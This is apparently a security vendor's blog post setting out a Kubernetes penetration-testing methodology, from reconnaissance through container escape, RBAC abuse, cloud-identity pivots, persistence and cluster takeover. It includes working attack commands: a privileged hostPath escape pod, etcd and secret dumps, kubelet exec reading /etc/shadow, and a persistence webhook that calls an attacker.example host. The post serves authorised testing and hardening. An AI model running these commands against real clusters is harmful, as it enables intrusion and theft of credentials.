Kubernetes Penetration Testing Methodology — From Pod Compromise to Cluster Takeover

Published May 19, 2026 · By AxVeil Cloud · 18 min read · KUBERNETES

A Kubernetes pentest is not a Linux pentest with extra YAML. The interesting attack surface is the cluster control plane — kube-apiserver, etcd, kubelet, the admission chain, the RBAC graph — and the workload identity bridge that lets a compromised pod reach into the surrounding cloud account. This methodology walks an engagement end-to-end across seven phases, from a credentialed-or-not starting position through to full cluster takeover and downstream blast-radius. It pairs with our cloud pentesting methodology and the AWS-specific AWS pentest playbook for the IAM side of the pivot.

Threat model — four attacker positions

Every Kubernetes engagement starts by picking the attacker's starting position. The four positions we scope explicitly:

  • External, unauthenticated. The internet-facing surface only — ingress, LoadBalancer services, exposed dashboards, the API server endpoint if public. Models the drive-by attacker.
  • Compromised pod. Application RCE has already happened in one workload. Models the most common real-world breach — deserialisation, SSRF, or dependency RCE in the application layer.
  • Namespace tenant. A legitimate user with kubectl access to a single namespace — the insider, the over-trusted contractor, the compromised developer laptop. Tests namespace isolation specifically.
  • RBAC user, cluster-wide. A legitimate user with some cluster-scoped role — often the case for SREs, observability stacks, or platform engineers. Tests whether their role can be escalated to cluster-admin.

Scope at least two of the four. The pod-compromise position catches the highest-frequency real risk; the RBAC-user position catches the highest-impact insider scenarios.

Pre-engagement — cluster context

Before the first kubectl call, the engagement collects cluster context. The same RBAC misconfiguration has very different blast radius on a managed cluster with provider-protected control plane versus a self-hosted cluster where you can compromise etcd directly. Capture:

  • Provider posture. Managed (EKS, AKS, GKE, OKE) or self-hosted (k3s, kubeadm, RKE2, OpenShift). Managed clusters protect the control plane VMs, which closes some attack paths.
  • Kubernetes version. Every minor release changes default authorisation modes, default PodSecurity admission behaviour, and adds or retires CVEs. v1.28+ removed PodSecurityPolicy entirely.
  • CNI. Calico, Cilium, AWS VPC CNI, Azure CNI, Flannel, Weave. Each has different network-policy enforcement and different lateral-movement primitives.
  • Container runtime. containerd, CRI-O, or (rarely) Docker. Determines which container escape CVEs apply.
  • Admission chain. PodSecurity, OPA Gatekeeper, Kyverno, Falco. Tells you what the cluster will let you do before you try.
# Cluster context one-liners
kubectl version --short
kubectl get nodes -o wide
kubectl cluster-info
kubectl get apiservices
kubectl api-resources --verbs=list --namespaced -o name | sort

# Runtime + CNI
kubectl get nodes -o jsonpath='{.items[*].status.nodeInfo.containerRuntimeVersion}'
kubectl get pods -n kube-system -l k8s-app=calico-node -o name 2>/dev/null
kubectl get pods -n kube-system -l k8s-app=cilium -o name 2>/dev/null

Phase 1 — Reconnaissance

Recon answers two questions: what does this principal already have, and what can it see. With even a low-privilege ServiceAccount token, the API server will answer a surprising number of questions for free.

Self-permissions enumeration

# What can I do? Per-namespace and cluster-wide
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system
kubectl auth can-i '*' '*' --all-namespaces

# Spot-check the high-value verbs
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i get secrets --all-namespaces
kubectl auth can-i exec pods --all-namespaces
kubectl auth can-i create clusterrolebindings
kubectl auth can-i impersonate users
kubectl auth can-i escalate clusterroles

# Tool-assisted (much faster than manual)
rakkess --kubeconfig ~/.kube/engagement
krane scan --context engagement-cluster

Anonymous API server access

# Some clusters allow anonymous read on the discovery endpoints
curl -sk https://<api-server>:6443/version
curl -sk https://<api-server>:6443/api/v1/namespaces
curl -sk https://<api-server>:6443/healthz

# kube-hunter active mode -- enumerate from outside
kube-hunter --remote <api-server-ip> --active
kube-hunter --cidr 10.0.0.0/16 --active

# Helm release enumeration (often left readable cluster-wide)
helm list --all-namespaces
kubectl get secrets --all-namespaces -l owner=helm

Helm releases stored as Secrets often leak values.yaml content — database passwords, API keys, third-party tokens — to any principal that can read Secrets in the namespace. List them early.

Phase 2 — Initial access

Five high-frequency initial-access paths we still see in 2026:

Exposed Kubernetes Dashboard

The dashboard at /api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/ is still occasionally exposed without authentication on legacy clusters. When found, the bound ServiceAccount is usually cluster-admin from a copy-pasted install guide.

Unauthenticated etcd

# etcd on default port without client cert auth
etcdctl --endpoints=https://<node-ip>:2379 \
  --insecure-skip-tls-verify=true \
  get / --prefix --keys-only

# Read Secrets directly from etcd if it answers
etcdctl --endpoints=https://<node-ip>:2379 \
  --insecure-skip-tls-verify=true \
  get /registry/secrets --prefix

Kubelet anonymous API

# Anonymous kubelet read API on port 10250
curl -sk https://<node-ip>:10250/pods
curl -sk https://<node-ip>:10250/runningpods
curl -sk https://<node-ip>:10250/metrics

# Anonymous exec into a pod via kubelet
curl -sk -X POST \
  "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
  -d "cmd=cat /etc/shadow"

Leaked kubeconfig

Search CI logs, public buckets, developer laptops, and the customer's GitHub for kubeconfig files. The single highest-impact initial-access finding we see in 2026 is a kubeconfig with cluster-admin checked into a private-but-cloned repo or pasted into a Slack channel.

Supply-chain via image tags

Mutable tags (:latest, :main, :stable) and image registries that allow anonymous push to namespaces the cluster pulls from are the supply-chain path. If the customer pulls images from a registry you can write to, you get cluster RCE the next time a Deployment rolls.

Phase 3 — Privilege escalation

With a foothold inside a pod or as a low-privilege user, escalation falls into three families: RBAC misconfig, pod-spec primitives, and the workload-identity pivot to cloud IAM.

RBAC misconfiguration

# Verbs that grant cluster-admin equivalence even without the role name
# 1. create pods + a ServiceAccount with cluster-admin already bound
kubectl get sa --all-namespaces -o json | \
  jq -r '.items[] | select(.metadata.namespace + "/" + .metadata.name)'

# 2. escalate verb on clusterroles -- write yourself admin
kubectl auth can-i escalate clusterroles

# 3. bind verb -- create a new ClusterRoleBinding pointing at yourself
kubectl create clusterrolebinding pwn \
  --clusterrole=cluster-admin --user=$(kubectl config current-context)

# 4. impersonate users / groups
kubectl auth can-i '*' '*' --as=system:masters

# Peirates automates the full RBAC abuse menu
peirates

Pod-spec escapes

Any of hostPath, hostPID, hostNetwork, privileged: true, or CAP_SYS_ADMINis a container escape primitive. Test whether the cluster's admission chain blocks them — PodSecurity restrictedprofile, Gatekeeper, Kyverno — or whether you can deploy a pod that has them.

# Can I deploy a hostPath pod?
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: escape
  namespace: default
spec:
  hostPID: true
  containers:
  - name: c
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF

# Once running -- chroot to the host
kubectl exec -it escape -- chroot /host bash

# Or via nsenter on the host PID 1 (hostPID + privileged)
kubectl exec -it escape -- nsenter -t 1 -m -u -i -n -p -- bash

IRSA / Workload Identity pivot

On EKS the pod's ServiceAccount maps to an AWS IAM role via IRSA, exposed through the pod-identity webhook at $AWS_WEB_IDENTITY_TOKEN_FILE. On GKE the pod maps to a GCP service account via Workload Identity Federation. On AKS the same via Azure AD Workload Identity. A pod compromise becomes a cloud-IAM compromise if the bound role is over-scoped.

# From inside an EKS pod -- pivot to AWS IAM
cat $AWS_WEB_IDENTITY_TOKEN_FILE  # signed JWT
aws sts assume-role-with-web-identity \
  --role-arn $AWS_ROLE_ARN \
  --role-session-name pentest \
  --web-identity-token "$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)"

# From inside a GKE pod
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Phase 4 — Lateral movement

Inside the cluster, lateral movement is rarely network-bound — the API server is the highway. Three patterns:

Pod-to-pod via shared ServiceAccount

# Find pods running with the same SA in other namespaces
kubectl get pods --all-namespaces \
  -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{"\t"}{.spec.serviceAccountName}{"\n"}{end}' | \
  sort -k2

# If you have exec on one pod, exec on the others with the same SA
kubectl exec -n <ns> <pod> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token

Secrets reuse and SA token abuse

Every pod with a mounted ServiceAccount token can call the API server with that token. Pull the token, use it from outside the cluster, and the audit log records the pod's identity — not yours.

# Inside the pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc

# Use the token externally for the same identity
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/default/secrets

CNI tunneling

Cilium and Calico both expose APIs inside the cluster network that, when misconfigured, allow arbitrary policy override or eBPF program load. Probe for <cni>-agent services in kube-systemreachable from a compromised pod. Network policies that say "default allow" in the default namespace are the same finding by another name.

Phase 5 — Persistence

Persistence in Kubernetes means surviving a pod restart, a Node rotation, and ideally a cluster upgrade. Five mechanisms to test:

Mutating admission webhook

A MutatingAdmissionWebhook registered against pods/* can inject a sidecar (with your reverse shell) into every newly-created pod in scope. It survives cluster upgrades. It is also the single hardest persistence to detect without explicit policy.

# Register a webhook -- runs on every pod create
cat <<EOF | kubectl apply -f -
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: persistence
webhooks:
- name: persistence.example.com
  rules:
  - operations: ["CREATE"]
    apiGroups: [""]
    apiVersions: ["v1"]
    resources: ["pods"]
  clientConfig:
    url: https://attacker.example/mutate
  admissionReviewVersions: ["v1"]
  sideEffects: None
EOF

DaemonSet, init container, CronJob

A DaemonSet ensures a pod on every Node, including new ones added by Cluster Autoscaler — evergreen persistence on the data plane. An init container shipped in a base image gives you a foothold on every Deployment pulling that image. A CronJob with a benign-looking schedule keeps calling back without leaving a running process visible to kubectl get pods most of the time.

Audit-log evasion

On managed clusters, the audit log is configured by the provider; on self-hosted clusters it is often disabled, sampled, or routed to a log destination the attacker can also write to. Three tests: (1) can you disable audit logging via the apiserver flags — rare but possible on kubeadm clusters with a writable manifest directory, (2) can you write to the audit log's backing store, (3) can you create resources via the kubelet directly, bypassing the apiserver and therefore the audit log entirely.

Phase 6 — Cluster takeover

Cluster takeover means reading or modifying anything on the cluster — including the cluster's own secrets, the audit log destination, and the workload identities. Three primitives:

etcd dump

# From a control-plane node (kubeadm cluster) or via kubelet exec to etcd pod
ETCDCTL_API=3 etcdctl \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  --endpoints=https://127.0.0.1:2379 \
  get / --prefix --keys-only > etcd-keys.txt

# Dump all Secrets in plaintext (if encryption at rest not configured)
ETCDCTL_API=3 etcdctl ... get /registry/secrets --prefix --print-value-only

If the cluster did not configure encryption-at-rest, all Secrets are in etcd in plaintext — including ServiceAccount tokens, TLS keys, and any application secrets stored via the Secret resource. This is still a 2026 finding in self-hosted clusters more often than it should be.

kube-controller-manager compromise

The controller-manager runs with cluster-admin via a static kubeconfig on the control plane. If you can write to the controller-manager's manifest in /etc/kubernetes/manifests/ (static pod escape from a privileged container with hostPath of /etc/kubernetes), you can rewrite the controller-manager command line to mount additional volumes or run an arbitrary command at the same privilege.

Node compromise

From an escaped pod you have root on a Node. From a Node you can: (1) read every other pod on that Node via the local kubelet socket, (2) pull the Node's kubelet credentials and use them to register a malicious mirror Node, (3) on a cloud Node, hit IMDS or the cloud metadata service for the Node's instance role and pivot to cloud-account compromise — see the AWS pentesting methodology for the IMDS-to-S3 chain that follows.

Phase 7 — Application and data

Cluster takeover is rarely the actual objective. The data — customer records, payment tokens, model weights, source code — lives in workloads on top of the cluster. Three techniques to demonstrate downstream blast radius:

Sidecar injection

With cluster-admin or a mutating webhook, inject a tcpdump or mitmproxy sidecar into a target workload. The sidecar shares the pod's network namespace and sees every request and response — including TLS-terminated traffic between containers.

Secret extraction at rest and in transit

# All Secrets cluster-wide -- decode and grep for high-value patterns
kubectl get secrets --all-namespaces -o json | \
  jq -r '.items[] |
    "\(.metadata.namespace)/\(.metadata.name): " +
    (.data // {} | to_entries[] |
      "\(.key)=\(.value | @base64d)")' 2>/dev/null | \
  grep -iE "aws|gcp|azure|stripe|password|token|key"

# External Secrets Operator? Find the backing store
kubectl get externalsecrets --all-namespaces
kubectl get secretstores --all-namespaces

Downstream blast radius

Document the workload-identity-to-cloud-role mappings discovered in phase 3, then enumerate what each role can do in the wider cloud account. The deliverable should chain "pod X compromise → SA Y token → IRSA role Z → production S3 bucket read" in a single narrative diagram so non-technical readers see why a single ServiceAccount misbinding is a board-level risk.

Compliance mapping — NSA/CISA and CIS

Every finding should map to a control in the NSA/CISA Kubernetes Hardening Guide and a section in the CIS Kubernetes Benchmark. The table below shows the mapping for the 12 most common findings:

FindingNSA/CISA controlCIS Benchmark
Anonymous kubelet APIAuthentication4.2.1
Anonymous apiserverAuthentication1.2.1
Auto-mount default SARBAC, least privilege5.1.5
Wildcard RBAC roleRBAC, least privilege5.1.1
Privileged containerPod Security5.2.1
hostPath / hostPIDPod Security5.2.4 - 5.2.6
No NetworkPolicyNetwork separation5.3.2
etcd no encryptionSecrets at rest1.2.31
Audit log disabledAudit logging1.2.22 - 1.2.25
No admission policyAdmission control1.2.16, 5.2.x
Over-scoped IRSAWorkload identity5.1.x
Image from mutable tagSupply chain5.5.1

For SaaS organisations running multi-tenant clusters, every one of the above is a tenant-isolation finding by another name. The same mapping ties into the Cloud Misconfiguration Top 10 for the cluster-to-cloud crossover findings, and into our Kubernetes glossary for terminology referenced by exec leadership.

Tooling — what to install before the engagement

A Kubernetes engagement runs on a handful of tools that are each cheap to install and high-leverage once the foothold lands. The minimum kit we ship to every operator before a cluster engagement:

  • kubectl + krew. Plus the plugins: rakkess, who-can, access-matrix, view-secret, node-shell. These turn five-line scripts into one-word commands.
  • peirates. The canonical post-exploitation toolkit for compromised pods. Built by InGuardians, it automates SA-token abuse, IAM token theft from cloud metadata services, hostPath escape, and the standard RBAC abuse menu. Drop the static binary into a compromised pod and you have a complete in-cluster recon-and-escalate workflow.
  • kube-hunter. Active enumeration of cluster control-plane endpoints from inside or outside the cluster. Useful for the external-attacker threat model where you do not yet have a token.
  • kubescape. Posture scanner aligned to NSA/CISA, CIS, and MITRE ATT&CK Cloud Matrix. Run it once at the start of the engagement for a structured baseline.
  • krane. Cluster RBAC analyser — finds dangerous permission combinations across the whole RBAC graph without you writing the can-i matrix by hand.
  • kdigger, deepce, amicontained. In-container reconnaissance — what capabilities does this container have, what kernel features are available, what is the runtime, can I escape.
  • trivy + kube-linter. Image scan and manifest lint — useful for the post-engagement remediation guide rather than active exploitation.
# One-shot tool install on the operator laptop
brew install kubescape  # or curl -sSf https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | bash
go install github.com/inguardians/peirates@latest
pip install kube-hunter
kubectl krew install rakkess who-can access-matrix view-secret

# Quick baseline scan -- run before exploitation phase
kubescape scan framework nsa --enable-host-scan
kubescape scan framework cis-v1.10.0
kube-bench run --targets master,node

Deliverable — what a Kubernetes pentest report looks like

The report we ship after a Kubernetes engagement is structured to be useful to three audiences simultaneously — the platform engineers fixing the cluster, the security team writing detection content, and the executive sponsor explaining the risk to the board.

  • Executive summary (1-2 pages). Cluster risk score, top five findings by blast radius, one diagram showing the worst exploit chain end to end.
  • Threat model recap. Which of the four attacker positions were tested, why those, what was explicitly out of scope.
  • Findings catalogue. One section per finding: title, CVSS 4.0 vector, NSA/CISA + CIS mapping, reproduction steps with exact kubectl / peirates commands, audit-log event ID (or note that no event was produced), impact statement, remediation referenced to a Kubernetes manifest or Terraform change.
  • Detection content. Sigma rule per escalation primitive used during the engagement — the customer can ship these straight into Falco, Panther, Splunk, or Datadog.
  • Remediation roadmap. Day 0-7 (critical fixes), day 7-30 (admission policy hardening, audit logging), day 30-90 (migrate workloads off default SA, scope IRSA / Workload Identity bindings).
  • Retest section. One retest pass within 30 days against the same threat model. Each finding marked closed / partially-closed / unchanged with the verifying command.

For a scoped Kubernetes pentest aligned with this methodology, see the AxVeil VAPT service or get in touch for a cluster-only engagement.

FAQ

Is a Kubernetes pentest different from a cloud pentest?

Yes. A cloud pentest evaluates the IAM control plane and managed services (S3, Lambda, KMS, IMDS). A Kubernetes pentest evaluates the cluster control plane (kube-apiserver, etcd, kubelet, scheduler), the RBAC graph, pod security boundaries, network policies, admission controllers, and the workload identity bridge between the two. On EKS, AKS, GKE, and OKE you will usually run both — a credentialed cloud sweep and a credentialed Kubernetes sweep — because the cluster IAM trust (IRSA on EKS, Workload Identity on GKE, Azure AD Workload Identity on AKS) is where the two attack surfaces meet.

What are the most common Kubernetes pentest findings in 2026?

In order of frequency we still see: (1) default ServiceAccount tokens auto-mounted in pods with no need, (2) over-permissive RBAC ClusterRoles granting wildcard verbs on Secrets or Pods, (3) missing PodSecurity admission preventing privileged + hostPath + hostNetwork, (4) kubelet anonymous auth enabled on self-hosted clusters, (5) leaked kubeconfig with cluster-admin in CI build logs or developer laptops, and (6) workload identity (IRSA / Workload Identity) bound to an over-scoped cloud role that lets a pod compromise pivot into the wider cloud account.

Can you pentest a managed Kubernetes cluster (EKS, AKS, GKE) without provider permission?

You do not need provider permission to test inside the cluster — the cluster is yours, the API server, RBAC, and workloads are your responsibility under the shared-responsibility model. You do need to honour the provider's customer pentest policy if your testing touches the underlying VMs, the load balancers, the metadata service, or the provider control plane. AWS, Azure, GCP, and OCI all publish current policies; check before you scope.

Which tools do you actually use on a Kubernetes engagement?

Recon and self-permissions: kubectl with auth can-i --list, rakkess, krane. Cluster posture: kubescape, kube-bench (CIS Benchmark), kube-hunter (active enumeration). Exploitation: peirates (the canonical post-exploitation toolkit for compromised pods), kdigger, deepce, amicontained. Container escape: nsenter, runc CVE proofs-of-concept where the kernel allows. Reporting: trivy and kube-linter to baseline the manifests post-engagement so the customer can write detection content against the same primitives.

What does a Kubernetes pentest deliverable look like?

An executive summary with a one-page cluster risk map, then a finding-by-finding section with reproduction steps, the kubectl or peirates command used, the audit-log event the activity produced (or did not produce — log gaps are themselves a finding), the impact in terms of blast radius (namespace, cluster, cloud account), and the remediation referenced to NSA/CISA Hardening Guide controls and CIS Benchmark sections. We include a Sigma-format detection rule for each escalation primitive so the blue team can ship the detection in the same week.

Further reading

Plan your Kubernetes pentest with AxVeil.

Threat-model-led methodology, RBAC + workload-identity depth, container escape coverage, retest included.

Talk to us about scoping →
Share